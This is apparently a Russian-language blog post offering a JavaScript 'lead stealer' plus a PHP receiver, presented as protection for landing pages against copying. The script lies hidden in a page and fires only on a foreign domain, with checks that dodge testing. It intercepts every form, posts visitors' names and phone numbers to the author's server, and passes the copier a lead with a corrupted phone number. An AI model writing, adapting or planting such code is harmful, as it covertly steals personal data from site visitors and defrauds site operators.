Защищаем свои лендинги. Скрипт стиллера лидов.

2 мин

|

Скрипт для защиты Ваших лендингов от копирования. Позволяет напрямую передавать лиды с копированного лендинга. 


Фунционал скрипта:

  1. Несколько степеней проверки: проверка протокола, порта, реффера, кол-во заходов, домена;
  2. Регулировка % стила (от 1 до 100%);
  3. Работа на Ваших доменах не ведется;
  4. Обработка всех форм;
  5. Отправка жертве такой же лид с изменённой цифрой в номере телефона;
  6. Скрипт содержит множество комментариев для Ваших модификаций.

Интеграция скрипта происходит на Ваше усмотрение. Инпуты имени и номера должны быть с атрибутами name=”name” и name=”phone”.

Содержание скрипта:

// Здесь укажите % срабатываний скрипта

const prc = 100

//Указываем путь к php файлу обработчику

const url = 'тут ссылка на обработчик'

//Указываем домен где будет находиться прокла/ленд

const originalHost = `ваш домен без https:// и /`

const checkedHost = window.location.host

const fullUrl = window.location.href

//запускаем скрипт

start()

function start() {

  let userChek = checkUser()

  //проверяем прошел ли юзер проверку

  if (!userChek) return

  let random = isRandom()

  //проверяем попали ли мы в указанный %

  if (random) stealer()

}

function stealer() {

  //проверяем спизжен ли ленд

  if (checkedHost == originalHost) return

  let forms = document.querySelectorAll('form')

  forms.forEach(element => {

    element.addEventListener('submit', (e) => {

      e.preventDefault()

      let name = e.target.querySelector('[name="name"]').value

      let phone = e.target.querySelector('[name="phone"]').value

      //формируем данные для отправки

      let data = {

        host: fullUrl,

        name: name,

        phone: phone

      }

      //отправляем запрос

      sendData(data)

        .then(res => {

          //Cоздаем копию формы и меняй последнюю цифру, затем ее отправляем

          var dupForm = e.target.cloneNode(true);

          dupForm.querySelector('[name="phone"]').value = `${phone.slice(0, -1)}${Math.floor(Math.random() * 9)}`

          dupForm.style.display = 'none'

          let body = document.querySelector('body')

          body.append(dupForm)

          dupForm.submit();

        })

    })

  });

}

function isRandom() {

  let rnd = Math.floor(Math.random() * 101)

  if (rnd <= prc) return true

  return false

}

function checkUser() {

  //

  // максимальное количество заходов при котором сработает скрипт

  const AvalibleEntry = 2

  let protocol = window.location.protocol

  let port = window.location.port

  let host = window.location.host

  let reffer = document.referrer

  let status = false

  //проверяем зашел ли пользователь с http или https

  if (protocol == 'http:' || protocol == 'https:') status = true

  if (!status) return false

  //проверяем есть ли порт у юзера

  if (port != '') return false

  //проверяем не запущен ли на сервере

  if (host.includes('localhost') || host.includes('127.0.0.1')) return false

  //проверяем на наличие рефера

  if (reffer == '') return false

  //определяем количество заходов конкретного юзера

  let userCount = localStorage.getItem('count')

  //если больше 2 не пропускаем

  if (userCount >= AvalibleEntry) return false

  //если меньше то определяем текущее значение и прибавляем + 1

  userCount == null ? localStorage.setItem('count', 1) : localStorage.setItem('count', +userCount + 1)

  return true

}

function sendData(propse) {

  return fetch(url, {

    method: 'post',

    body: JSON.stringify(propse)

  })

    .then(response => response.json())

    .then(json => (json))

    .then(res => {

      this.data = res

      return res

    })

}

Скрипт обработчика, получает данные с номером, именем и хостом с которого отправили лид:

<?php

header('Access-Control-Allow-Origin: *');

header('Access-Control-Allow-Methods: GET, POST');

header("Access-Control-Allow-Headers: *");

$payload = file_get_contents('php://input');

$payload = json_decode($payload, true);

$phone = $payload['phone'];

$name = $payload['name'];

$url = $payload['host'];

?>